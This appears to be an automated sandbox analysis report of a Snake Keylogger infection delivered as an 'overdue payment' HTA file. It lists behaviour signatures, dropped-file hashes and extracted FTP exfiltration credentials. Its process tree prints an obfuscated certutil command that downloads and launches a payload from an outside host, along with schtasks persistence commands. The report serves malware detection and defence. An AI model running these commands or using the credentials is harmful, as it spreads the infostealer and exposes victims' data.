Analysis

  • max time kernel
    80s
  • max time network
    113s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/09/2023, 10:02

General

  • Target
    mkhg_Overdue_payment.hta
  • Size 9KB
  • Sample230925-l252taff22
  • SHA256 3996b5a66262b9cf59b38a399d0467dae23a4044ddf26da24aa292659f3c0803
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Credentials
  • Protocol

    ftp

  • Host

    ftp.product-secured.com

  • Port

    21

  • Password

    2V8SHFwjad34@@##

Extracted

Family
  • snakekeylogger

Credentials
  • Protocol

    ftp

  • Host

    ftp://ftp.product-secured.com/

  • Port

    21

  • Password

    2V8SHFwjad34@@##

Signatures

  • Snake Keylogger

    Keylogger and Infostealer first seen in November 2020.

  • Snake Keylogger payload 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 5 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\mkhg_Overdue_payment.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4868
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/c Cmd /C ^s^T^a^R^t^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^/^b^ ^ ^ ^/^m^I^n^ ^ ^ ^c^e^R^T^U^T^I^L^.^e^x^E^ ^ ^ ^ ^-^U^r^L^c^a^c^H^e^ ^ ^ ^ ^ ^ ^-^S^P^L^i^t^ ^ ^ ^ ^ ^-^F^ ^ ^ ^ ^ ^ ^ ^h^t^t^p^s^:^/^/^v^o^i^l^a^r^a^p^e^.^o^n^l^i^n^e^/^i^n^v^o^i^c^e^/^d^o^c^d^a^d^2^0^2^3^0^9^2^5^.^e^x^e^ ^ C:\Users\Admin\AppData\Roaming\TestPutty.exe | CMd.exE /sTarT /b /MiN pInG.Exe & start C:\Users\Admin\AppData\Roaming\TestPutty.exe"
      2⤵
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:3264
      • C:\Windows\SysWOW64\cmd.exe
        Cmd /C sTaRt /b /mIn ceRTUTIL.exE -UrLcacHe -SPLit -F https://voilarape.online/invoice/docdad20230925.exe C:\Users\Admin\AppData\Roaming\TestPutty.exe
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1824
        • C:\Windows\SysWOW64\certutil.exe
          ceRTUTIL.exE -UrLcacHe -SPLit -F https://voilarape.online/invoice/docdad20230925.exe C:\Users\Admin\AppData\Roaming\TestPutty.exe
          4⤵
            PID:4296
        • C:\Windows\SysWOW64\cmd.exe
          CMd.exE /sTarT /b /MiN pInG.Exe
          3⤵
            PID:4836
          • C:\Users\Admin\AppData\Roaming\TestPutty.exe
            C:\Users\Admin\AppData\Roaming\TestPutty.exe"
            3⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:4696
            • C:\Users\Admin\AppData\Roaming\TestPutty.exe
              "C:\Users\Admin\AppData\Roaming\TestPutty.exe"
              4⤵
              • Executes dropped EXE
              • Accesses Microsoft Outlook profiles
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              • outlook_office_path
              • outlook_win_path
              PID:2404
            • C:\Users\Admin\AppData\Local\Temp\svchost.exe
              "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:4648
              • C:\Users\Admin\AppData\Local\Temp\svchost.exe
                "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
                5⤵
                • Executes dropped EXE
                PID:3252
              • C:\Windows\SysWOW64\cmd.exe
                "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\avast"
                5⤵
                  PID:3812
                • C:\Windows\SysWOW64\cmd.exe
                  "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\avast\avast.exe'" /f
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4188
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\avast\avast.exe'" /f
                    6⤵
                    • Creates scheduled task(s)
                    PID:3264
                • C:\Windows\SysWOW64\cmd.exe
                  "cmd" /c copy "C:\Users\Admin\AppData\Local\Temp\svchost.exe" "C:\Users\Admin\AppData\Roaming\avast\avast.exe"
                  5⤵
                    PID:2180
                • C:\Windows\SysWOW64\cmd.exe
                  "cmd" /c copy "C:\Users\Admin\AppData\Roaming\TestPutty.exe" "C:\Users\Admin\AppData\Roaming\svchost\svchost.exe"
                  4⤵
                    PID:3560
                  • C:\Windows\SysWOW64\cmd.exe
                    "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\svchost\svchost.exe'" /f
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1728
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\svchost\svchost.exe'" /f
                      5⤵
                      • Creates scheduled task(s)
                      PID:3196
                  • C:\Windows\SysWOW64\cmd.exe
                    "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\svchost"
                    4⤵
                      PID:2036
              • C:\Users\Admin\AppData\Roaming\avast\avast.exe
                C:\Users\Admin\AppData\Roaming\avast\avast.exe
                1⤵
                • Executes dropped EXE
                PID:1156

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

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                    Downloads

                    svchost.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\svchost.exe
                    • Size 621KB
                    • SHA256 3629ed9b94ae5d0f2659d02dcb7ce258cb5c2497d5bf18f3c4fed78878fba030
                    • MD5 SHA1 SHA512 SSDEEP

                    svchost.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\svchost.exe
                    • Size 621KB
                    • SHA256 3629ed9b94ae5d0f2659d02dcb7ce258cb5c2497d5bf18f3c4fed78878fba030
                    • MD5 SHA1 SHA512 SSDEEP

                    svchost.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\svchost.exe
                    • Size 621KB
                    • SHA256 3629ed9b94ae5d0f2659d02dcb7ce258cb5c2497d5bf18f3c4fed78878fba030
                    • MD5 SHA1 SHA512 SSDEEP

                    svchost.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\svchost.exe
                    • Size 621KB
                    • SHA256 3629ed9b94ae5d0f2659d02dcb7ce258cb5c2497d5bf18f3c4fed78878fba030
                    • MD5 SHA1 SHA512 SSDEEP

                    TestPutty.exe

                    • Path C:\Users\Admin\AppData\Roaming\TestPutty.exe
                    • Size 812KB
                    • SHA256 ef2d231629d0b364d24e83d2c8cbf4e870737490b158b98450e9bdb28056dfec
                    • MD5 SHA1 SHA512 SSDEEP

                    TestPutty.exe

                    • Path C:\Users\Admin\AppData\Roaming\TestPutty.exe
                    • Size 812KB
                    • SHA256 ef2d231629d0b364d24e83d2c8cbf4e870737490b158b98450e9bdb28056dfec
                    • MD5 SHA1 SHA512 SSDEEP

                    TestPutty.exe

                    • Path C:\Users\Admin\AppData\Roaming\TestPutty.exe
                    • Size 812KB
                    • SHA256 ef2d231629d0b364d24e83d2c8cbf4e870737490b158b98450e9bdb28056dfec
                    • MD5 SHA1 SHA512 SSDEEP

                    avast.exe

                    • Path C:\Users\Admin\AppData\Roaming\avast\avast.exe
                    • Size 621KB
                    • SHA256 3629ed9b94ae5d0f2659d02dcb7ce258cb5c2497d5bf18f3c4fed78878fba030
                    • MD5 SHA1 SHA512 SSDEEP

                    avast.exe

                    • Path C:\Users\Admin\AppData\Roaming\avast\avast.exe
                    • Size 621KB
                    • SHA256 3629ed9b94ae5d0f2659d02dcb7ce258cb5c2497d5bf18f3c4fed78878fba030
                    • MD5 SHA1 SHA512 SSDEEP

                    svchost.exe

                    • Path C:\Users\Admin\AppData\Roaming\svchost\svchost.exe
                    • Size 812KB
                    • SHA256 ef2d231629d0b364d24e83d2c8cbf4e870737490b158b98450e9bdb28056dfec
                    • MD5 SHA1 SHA512 SSDEEP

                    memory/1156-59-0x0000000070F00000-0x00000000716B0000-memory.dmp

                    memory/2404-45-0x0000000007050000-0x000000000705A000-memory.dmp

                    memory/2404-41-0x0000000006C70000-0x0000000006D02000-memory.dmp

                    memory/2404-22-0x00000000031F0000-0x0000000003200000-memory.dmp

                    memory/2404-20-0x0000000070F00000-0x00000000716B0000-memory.dmp

                    memory/2404-17-0x0000000000400000-0x0000000000424000-memory.dmp

                    memory/2404-55-0x00000000031F0000-0x0000000003200000-memory.dmp

                    memory/2404-21-0x0000000005700000-0x000000000579C000-memory.dmp

                    memory/2404-46-0x00000000031F0000-0x0000000003200000-memory.dmp

                    memory/2404-43-0x00000000031F0000-0x0000000003200000-memory.dmp

                    memory/2404-42-0x0000000070F00000-0x00000000716B0000-memory.dmp

                    memory/2404-39-0x0000000006880000-0x00000000068D0000-memory.dmp

                    memory/2404-40-0x0000000006AA0000-0x0000000006C62000-memory.dmp

                    memory/3252-48-0x0000000000400000-0x0000000000418000-memory.dmp

                    memory/3252-50-0x0000000070F00000-0x00000000716B0000-memory.dmp

                    memory/3252-56-0x0000000070F00000-0x00000000716B0000-memory.dmp

                    memory/4648-52-0x0000000070F00000-0x00000000716B0000-memory.dmp

                    memory/4648-35-0x0000000070F00000-0x00000000716B0000-memory.dmp

                    memory/4648-47-0x00000000053C0000-0x00000000053EC000-memory.dmp

                    memory/4648-34-0x00000000004D0000-0x0000000000572000-memory.dmp

                    memory/4648-44-0x0000000070F00000-0x00000000716B0000-memory.dmp

                    memory/4696-14-0x0000000070F00000-0x00000000716B0000-memory.dmp

                    memory/4696-13-0x00000000032F0000-0x0000000003300000-memory.dmp

                    memory/4696-15-0x00000000032F0000-0x0000000003300000-memory.dmp

                    memory/4696-16-0x0000000005960000-0x0000000005A40000-memory.dmp

                    memory/4696-36-0x0000000070F00000-0x00000000716B0000-memory.dmp

                    memory/4696-12-0x0000000005C00000-0x00000000061A4000-memory.dmp

                    memory/4696-11-0x0000000070F00000-0x00000000716B0000-memory.dmp

                    memory/4696-10-0x0000000000C30000-0x0000000000D00000-memory.dmp